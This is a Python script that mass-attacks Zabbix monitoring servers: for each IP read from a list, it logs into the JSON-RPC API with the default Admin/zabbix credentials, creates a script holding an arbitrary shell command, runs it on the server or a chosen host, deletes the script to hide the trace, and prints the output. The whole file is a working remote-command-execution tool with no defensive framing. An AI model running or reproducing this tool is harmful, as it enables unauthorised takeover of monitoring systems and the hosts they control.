import asyncio
import json
import sys

import aiohttp

UA = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/131.0"}
NAME = "_chk_sh"
CMD = open(sys.argv[1], "r", encoding="utf-8").read().strip().replace("\n", " ")
HOSTF = sys.argv[2] if len(sys.argv) > 2 and sys.argv[2] != "-" else None
EO = int(sys.argv[3]) if len(sys.argv) > 3 else 1


async def rpc(sess, url, method, params, tok=None, bearer=False):
    body = {"jsonrpc": "2.0", "method": method, "params": params, "id": 1}
    hdr = {}
    if tok:
        if bearer:
            hdr["Authorization"] = "Bearer " + tok
        else:
            body["auth"] = tok
    async with sess.post(url, json=body, headers=hdr, ssl=False) as r:
        txt = await r.content.read(2000000)
        try:
            return json.loads(txt)
        except Exception:
            return {"_raw": txt[:200].decode("utf-8", "replace")}


async def call(sess, url, method, params, tok, bearer):
    j = await rpc(sess, url, method, params, tok, bearer)
    if "error" in j or "_raw" in j:
        j2 = await rpc(sess, url, method, params, tok, not bearer)
        if "error" not in j2 and "_raw" not in j2:
            return j2
    return j


async def one(sess, sem, ip, port, path, ver):
    scheme = "https" if port == "443" else "http"
    url = "%s://%s:%s%sapi_jsonrpc.php" % (scheme, ip, port, path)
    bearer = ver[:1] in "78"
    tag = "%s:%s%s" % (ip, port, path)
    try:
        async with sem:
            j = await rpc(sess, url, "user.login", {"username": "Admin", "password": "zabbix"})
            tok = j.get("result")
            if not isinstance(tok, str):
                return "%s login failed" % tag
            j = await call(sess, url, "host.get", {"output": ["hostid", "host"],
                                                   "search": {"host": "Zabbix server"}, "limit": 5},
                           tok, bearer)
            hosts = j.get("result") or []
            target = next((h for h in hosts if h.get("host") == "Zabbix server"), hosts[0] if hosts else None)
            if HOSTF:
                j = await call(sess, url, "host.get", {"output": ["hostid", "host"],
                                                       "filter": {"host": HOSTF}, "limit": 5}, tok, bearer)
                hs = j.get("result") or []
                if hs:
                    target = hs[0]
            if not target:
                return "%s no host" % tag
            j = await call(sess, url, "script.get", {"output": ["scriptid"], "filter": {"name": NAME}},
                           tok, bearer)
            for s_ in (j.get("result") or []):
                await call(sess, url, "script.delete", [s_["scriptid"]], tok, bearer)
            val = None
            for eo in (EO,):
                params = {"name": NAME, "command": CMD, "scope": 2, "type": 0, "execute_on": eo}
                j = await call(sess, url, "script.create", params, tok, bearer)
                sid = (j.get("result") or {}).get("scriptids", [None])[0] if "result" in j else None
                if not sid:
                    if "execute_on" in json.dumps(j):
                        continue
                    return "%s create failed %s" % (tag, json.dumps(j)[:120])
                j = await call(sess, url, "script.execute", {"scriptid": sid, "hostid": target["hostid"]},
                               tok, bearer)
                await call(sess, url, "script.delete", [sid], tok, bearer)
                val = (j.get("result") or {}).get("value") if isinstance(j.get("result"), dict) else None
                if not val and isinstance(j.get("error"), dict):
                    val = j["error"].get("data")
                if isinstance(val, str) and len(val) > 3:
                    break
            out = (val or "NONE").replace("\n", " | ").replace("\t", " ")
            return "%s\t%s" % (tag, out[:700])
    except Exception as e:
        return "%s ERR %s" % (tag, type(e).__name__)


async def main():
    rows = []
    for line in sys.stdin:
        f = line.rstrip("\n").split("\t")
        if len(f) >= 4:
            rows.append((f[0], f[1], f[2], f[3]))
    sem = asyncio.Semaphore(8)
    to = aiohttp.ClientTimeout(total=90, connect=6, sock_read=85)
    async with aiohttp.ClientSession(timeout=to, headers=UA,
                                     connector=aiohttp.TCPConnector(limit=0, ssl=False)) as s:
        for r in rows:
            print(await one(s, sem, *r), flush=True)


asyncio.run(main())
